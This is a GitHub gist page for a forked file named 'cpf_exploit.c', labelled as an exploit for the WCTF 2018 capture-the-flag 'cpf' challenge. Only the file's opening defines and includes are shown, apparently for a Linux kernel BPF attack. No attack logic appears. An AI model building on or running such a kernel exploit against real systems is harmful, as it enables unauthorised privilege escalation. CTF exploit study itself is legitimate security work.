Skip to content

Instantly share code, notes, and snippets.

View r-jenish's full-sized avatar
🐼

Rakholiya Jenish r-jenish

🐼
View GitHub Profile
@r-jenish
r-jenish / cpf_exploit.c
Created July 3, 2019 18:19 — forked from setuid0x0/cpf_exploit.c
WCTF 2018 cpf challenge exploit
#define _GNU_SOURCE
#include <sched.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>
#include <errno.h>
#include <sys/file.h>
#define __aligned_u64 __u64 __attribute__((aligned(8)))
#include <linux/bpf.h>